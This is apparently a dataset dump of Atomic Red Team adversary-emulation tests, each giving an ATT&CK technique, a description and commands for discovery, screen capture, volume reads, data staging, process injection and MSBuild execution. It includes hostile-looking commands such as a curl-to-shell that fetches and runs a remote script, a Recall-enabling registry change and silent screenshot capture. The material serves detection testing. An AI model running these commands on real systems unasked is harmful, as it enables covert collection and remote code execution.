deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1016.001: System Network Configuration Discovery: Internet Connection Discovery
Test: Check internet connection using ping Windows
Platforms: windows
Executor: command_prompt

Description:
Check internet connection using ping on Windows. The default target of the ping is 8.8.8.8 (Google Public DNS).


Command:
ping -n 4 #{ping_target}
Atomic Red Team — T1016.001: System Network Configuration Discovery: Internet Connection Discovery
Test: Check internet connection using ping freebsd, linux or macos
Platforms: macos, linux
Executor: bash

Description:
Check internet connection using ping on Linux, MACOS. The default target of the ping is 8.8.8.8 (Google Public DNS).


Command:
ping -c 4 #{ping_target}
Atomic Red Team — T1016.001: System Network Configuration Discovery: Internet Connection Discovery
Test: Check internet connection using Test-NetConnection in PowerShell (ICMP-Ping)
Platforms: windows
Executor: powershell

Description:
Check internet connection using PowerShell's Test-NetConnection cmdlet and the ICMP/Ping protocol. The default target is 8.8.8.8 (Google Public DNS).


Command:
Test-NetConnection -ComputerName #{target}
Atomic Red Team — T1016.001: System Network Configuration Discovery: Internet Connection Discovery
Test: Check internet connection using Test-NetConnection in PowerShell (TCP-HTTP)
Platforms: windows
Executor: powershell

Description:
Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound HTTP (Port 80) access. The default target is www.google.com.


Command:
Test-NetConnection -CommonTCPPort HTTP -ComputerName #{target}
Atomic Red Team — T1016.001: System Network Configuration Discovery: Internet Connection Discovery
Test: Check internet connection using Test-NetConnection in PowerShell (TCP-SMB)
Platforms: windows
Executor: powershell

Description:
Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound SMB (Port 445) access. The default target is 8.8.8.8.


Command:
Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}
Atomic Red Team — T1059.010: Command and Scripting Interpreter: AutoHotKey & AutoIT
Test: AutoHotKey script execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to execute malicious script using AutoHotKey software instead of regular terminal like powershell or cmd. A messagebox will be displayed and calculator will popup when the script is executed successfully


Command:
Start-Process -FilePath "#{autohotkey_path}" -ArgumentList "#{script_path}"


Dependencies:
AutoHotKey executable file must exist on disk at the specified location (#{autohotkey_path})
# T1059.010 - Command and Scripting Interpreter: AutoHotKey & AutoIT

## Description from ATT&CK

> Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)
> 
> Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)
> 
> These scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)

[Source](https://attack.mitre.org/techniques/T1059/010)

## Atomic Tests

- [Atomic Test #1: AutoHotKey script execution](#atomic-test-1-autohotkey-script-execution)

### Atomic Test #1: AutoHotKey script execution

An adversary may attempt to execute malicious script using AutoHotKey software instead of regular terminal like powershell or cmd. A messagebox will be displayed and calculator will popup when the script is executed successfully

**Supported Platforms:** Windows

**auto_generated_guid:** `7b5d350e-f758-43cc-a761-8e3f6b052a03`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_path | AutoHotKey Script Path | path | PathToAtomicsFolder&#92;T1059.010&#92;src&#92;calc.ahk|
| autohotkey_path | AutoHotKey Executable File Path | path | $PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;ahk&#92;AutoHotKeyU64.exe|

#### Attack Commands: Run with `powershell`!

```powershell
Start-Process -FilePath "#{autohotkey_path}" -ArgumentList "#{script_path}"
```


#### Dependencies: Run with `powershell`!

##### Description: AutoHotKey executable file must exist on disk at the specified location (#{autohotkey_path})

###### Check Prereq Commands

```powershell
if(Test-Path "#{autohotkey_path}") {
    exit 0
} else {
    exit 1
}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
$AutoHotKeyURL = "https://www.autohotkey.com/download/ahk.zip"
$InstallerPath = "$PathToAtomicsFolder\..\ExternalPayloads"
Invoke-WebRequest -Uri $AutoHotKeyURL -OutFile $InstallerPath\ahk.zip
Expand-Archive -Path $InstallerPath -Force;
```
Atomic Red Team — T1113: Screen Capture
Test: Screencapture
Platforms: macos
Executor: bash

Description:
Use screencapture command to collect a full desktop screenshot


Command:
screencapture #{output_file}


Cleanup:
rm #{output_file}
Atomic Red Team — T1113: Screen Capture
Test: Screencapture (silent)
Platforms: macos
Executor: bash

Description:
Use screencapture command to collect a full desktop screenshot


Command:
screencapture -x #{output_file}


Cleanup:
rm #{output_file}
Atomic Red Team — T1113: Screen Capture
Test: X Windows Capture
Platforms: linux
Executor: bash

Description:
Use xwd command to collect a full desktop screenshot and review file with xwud


Command:
xwd -root -out #{output_file}
xwud -in #{output_file}


Cleanup:
rm #{output_file}


Dependencies:
Package with XWD and XWUD must exist on device
Atomic Red Team — T1113: Screen Capture
Test: X Windows Capture (freebsd)
Platforms: linux
Executor: sh

Description:
Use xwd command to collect a full desktop screenshot and review file with xwud


Command:
xwd -root -out #{output_file}
xwud -in #{output_file}


Cleanup:
rm #{output_file}


Dependencies:
Package with XWD and XWUD must exist on device
Atomic Red Team — T1113: Screen Capture
Test: Capture Linux Desktop using Import Tool
Platforms: linux
Executor: bash

Description:
Use import command from ImageMagick to collect a full desktop screenshot


Command:
import -window root #{output_file}


Cleanup:
rm #{output_file}


Dependencies:
ImageMagick must be installed
Atomic Red Team — T1113: Screen Capture
Test: Capture Linux Desktop using Import Tool (freebsd)
Platforms: linux
Executor: sh

Description:
Use import command from ImageMagick to collect a full desktop screenshot


Command:
import -window root #{output_file}


Cleanup:
rm #{output_file}


Dependencies:
ImageMagick must be installed
Atomic Red Team — T1113: Screen Capture
Test: Windows Screencapture
Platforms: windows
Executor: powershell

Description:
Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour


Command:
cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12
Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;
[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);
cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"


Cleanup:
rm #{output_file} -ErrorAction Ignore
Atomic Red Team — T1113: Screen Capture
Test: Windows Screen Capture (CopyFromScreen)
Platforms: windows
Executor: powershell

Description:
Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.
[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen


Command:
Add-Type -AssemblyName System.Windows.Forms
$screen = [Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height
$graphic = [Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)
$bitmap.Save("#{output_file}")


Cleanup:
Remove-Item #{output_file} -ErrorAction Ignore
Atomic Red Team — T1113: Screen Capture
Test: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted
Platforms: windows
Executor: powershell

Description:
Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. 
- https://learn.microsoft.com/en-us/windows/client-management/manage-recall
- https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis

Command:
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f
reg delete "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /f


Cleanup:
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f
Atomic Red Team — T1113: Screen Capture
Test: RDP Bitmap Cache Extraction via bmc-tools
Platforms: windows
Executor: powershell

Description:
Simulates an attacker extracting the RDP bitmap cache using the ANSSI "bmc-tools.py" script.
This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).


Command:
$url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py'
$toolsDir = "$env:TEMP\bmc-tools.py"
 
# create output directory
New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null

# python script download
& curl.exe -L $url --output $toolsDir
 
# execution step
if (Test-Path $toolsDir) { python $toolsDir -s "#{cache_path}" -d #{output_dir} -b }


Cleanup:
Remove-Item "$env:TEMP\bmc-tools.py" -ErrorAction SilentlyContinue
Remove-Item #{output_dir} -Recurse -Force -ErrorAction SilentlyContinue


Dependencies:
Python must be installed and in the PATH to run bmc-tools.py
Atomic Red Team — T1006: Direct Volume Access
Test: Read volume boot sector via DOS device path (PowerShell)
Platforms: windows
Executor: powershell

Description:
This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.
On success, a hex dump of the first 11 bytes of the volume is displayed.

For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):
```
           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   EB 52 90 4E 54 46 53 20 20 20 20                 ëR?NTFS
```

Command:
$buffer = New-Object byte[] 11
$handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite'
$handle.Read($buffer, 0, $buffer.Length)
$handle.Close()
Format-Hex -InputObject $buffer
# T1006 - Direct Volume Access

## Description from ATT&CK

> Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
> 
> Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)

[Source](https://attack.mitre.org/techniques/T1006)

## Atomic Tests

- [Atomic Test #1: Read volume boot sector via DOS device path (PowerShell)](#atomic-test-1-read-volume-boot-sector-via-dos-device-path-powershell)

### Atomic Test #1: Read volume boot sector via DOS device path (PowerShell)

This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.
On success, a hex dump of the first 11 bytes of the volume is displayed.

For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):
```
           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   EB 52 90 4E 54 46 53 20 20 20 20                 ëR?NTFS
```

**Supported Platforms:** Windows

**auto_generated_guid:** `88f6327e-51ec-4bbf-b2e8-3fea534eab8b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| volume | Drive letter of the volume to access | string | C:|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
$buffer = New-Object byte[] 11
$handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite'
$handle.Read($buffer, 0, $buffer.Length)
$handle.Close()
Format-Hex -InputObject $buffer
```
Atomic Red Team — T1027.007: Obfuscated Files or Information: Dynamic API Resolution
Test: Dynamic API Resolution-Ninja-syscall
Platforms: windows
Executor: powershell

Description:
This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques 'Ninja-syscall'. When successful, a new file named 'hello.log' will be created in the default user's temporary folder, which is a common location for a dropper.


Command:
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }


Cleanup:
if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }

Dependencies:
Portable Executable to run must exist at specified location (#{exe_binary})
Atomic Red Team — T1074.001: Data Staged: Local Data Staging
Test: Stage data from Discovery.bat
Platforms: windows
Executor: powershell

Description:
Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
verify that the file is saved in the temp directory.


Command:
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}


Cleanup:
Remove-Item -Force #{output_file} -ErrorAction Ignore
Atomic Red Team — T1074.001: Data Staged: Local Data Staging
Test: Stage data from Discovery.sh
Platforms: linux, macos
Executor: sh

Description:
Utilize curl to download discovery.sh and execute a basic information gathering shell script


Command:
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}


Cleanup:
rm #{output_file}


Dependencies:
Check if curl is installed on the machine.
Atomic Red Team — T1074.001: Data Staged: Local Data Staging
Test: Zip a Folder with PowerShell for Staging in Temp
Platforms: windows
Executor: powershell

Description:
Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.


Command:
Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force


Cleanup:
Remove-Item -Path #{output_file} -ErrorAction Ignore
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - ps
Platforms: linux, macos
Executor: sh

Description:
Utilize ps to identify processes.

Upon successful execution, sh will execute ps and output to /tmp/loot.txt.


Command:
ps >> #{output_file}
ps aux >> #{output_file}


Cleanup:
rm #{output_file}
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - tasklist
Platforms: windows
Executor: command_prompt

Description:
Utilize tasklist to identify processes.

Upon successful execution, cmd.exe will execute tasklist.exe to list processes. Output will be via stdout. 


Command:
tasklist
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - Get-Process
Platforms: windows
Executor: powershell

Description:
Utilize Get-Process PowerShell cmdlet to identify processes.

Upon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout. 


Command:
Get-Process
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - get-wmiObject
Platforms: windows
Executor: powershell

Description:
Utilize get-wmiObject PowerShell cmdlet to identify processes.

Upon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout. 


Command:
get-wmiObject -class Win32_Process
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - wmic process
Platforms: windows
Executor: command_prompt

Description:
Utilize windows management instrumentation to identify processes.

Upon successful execution, WMIC will execute process to list processes. Output will be via stdout. 


Command:
wmic process get /format:list
Atomic Red Team — T1057: Process Discovery
Test: Discover Specific Process - tasklist
Platforms: windows
Executor: command_prompt

Description:
Adversaries may use command line tools to discover specific processes in preparation of further attacks. 
Examples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.


Command:
tasklist | findstr #{process_to_enumerate}
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - Process Hacker
Platforms: windows
Executor: powershell

Description:
Process Hacker can be exploited to infiltrate system processes, identify weak points, or achieve unauthorized control over systems. However, its malicious use can often be flagged by security defenses, rendering it a perilous tool for illegitimate purposes.

Command:
Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}"

Dependencies:
Process Hacker must be installed in the location
Atomic Red Team — T1057: Process Discovery
Test: Process Discovery - PC Hunter
Platforms: windows
Executor: powershell

Description:
PC Hunter is a toolkit with access to hundreds of settings including kernels, kernel modules, processes, network, startup, and more. When abused, this tool can allow threat actors to effectively access sensitive processes, collect system information, and terminate security software.

Command:
Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"

Dependencies:
PCHunter must be present in device
Atomic Red Team — T1057: Process Discovery
Test: Launch Taskmgr from cmd to View running processes
Platforms: windows
Executor: command_prompt

Description:
An adverary may launch taskmgr.exe with the /7 switch via command prompt to view processes running on the system.
[Reference](https://github.com/trellix-enterprise/ac3-threat-sightings/blob/main/sightings/Sightings_Conti_Ransomware.yml)


Command:
taskmgr.exe /7
Atomic Red Team — T1055.015: Process Injection: ListPlanting
Test: Process injection ListPlanting
Platforms: windows
Executor: powershell

Description:
This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will open following the appearance of the message box.

Command:
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Cleanup:
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Dependencies:
Injector ListPlanting.exe must exist at specified location (#{exe_binary})
Atomic Red Team — T1622: Debugger Evasion
Test: Detect a Debugger Presence in the Machine
Platforms: windows
Executor: powershell

Description:
Detecting a running debugger process or if the debugger is attached to a process via PowerShell

Command:
# Check for common debugger processes
$debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match "dbg" -or $_.ProcessName -match "debug" }
# Check for debugging flags
$debuggingFlags = [System.Diagnostics.Debugger]::IsAttached
Atomic Red Team — T1127.001: Trusted Developer Utilities Proxy Execution: MSBuild
Test: MSBuild Bypass Using Inline Tasks (C#)
Platforms: windows
Executor: command_prompt

Description:
Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print "Hello From a Code Fragment" and "Hello From a Class." to the screen.


Command:
#{msbuildpath}\#{msbuildname} "#{filename}"


Dependencies:
Project file must exist on disk at specified location (#{filename})
Atomic Red Team — T1127.001: Trusted Developer Utilities Proxy Execution: MSBuild
Test: MSBuild Bypass Using Inline Tasks (VB)
Platforms: windows
Executor: command_prompt

Description:
Executes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print "Hello from a Visual Basic inline task!" to the screen.


Command:
#{msbuildpath}\#{msbuildname} "#{filename}"


Dependencies:
Project file must exist on disk at specified location (#{filename})
Atomic Red Team — T1055.011: Process Injection: Extra Window Memory Injection
Test: Process Injection via Extra Window Memory (EWM) x64 executable
Platforms: windows
Executor: powershell

Description:
Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique

Command:
#{exe_binary}

Cleanup:
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Dependencies:
T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chmod - Change file or folder mode (numeric mode)
Platforms: linux, macos
Executor: sh

Description:
Changes a file or folder's permissions using chmod and a specified numeric mode.


Command:
chmod #{numeric_mode} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chmod - Change file or folder mode (symbolic mode)
Platforms: linux, macos
Executor: sh

Description:
Changes a file or folder's permissions using chmod and a specified symbolic mode.


Command:
chmod #{symbolic_mode} #{file_or_folder}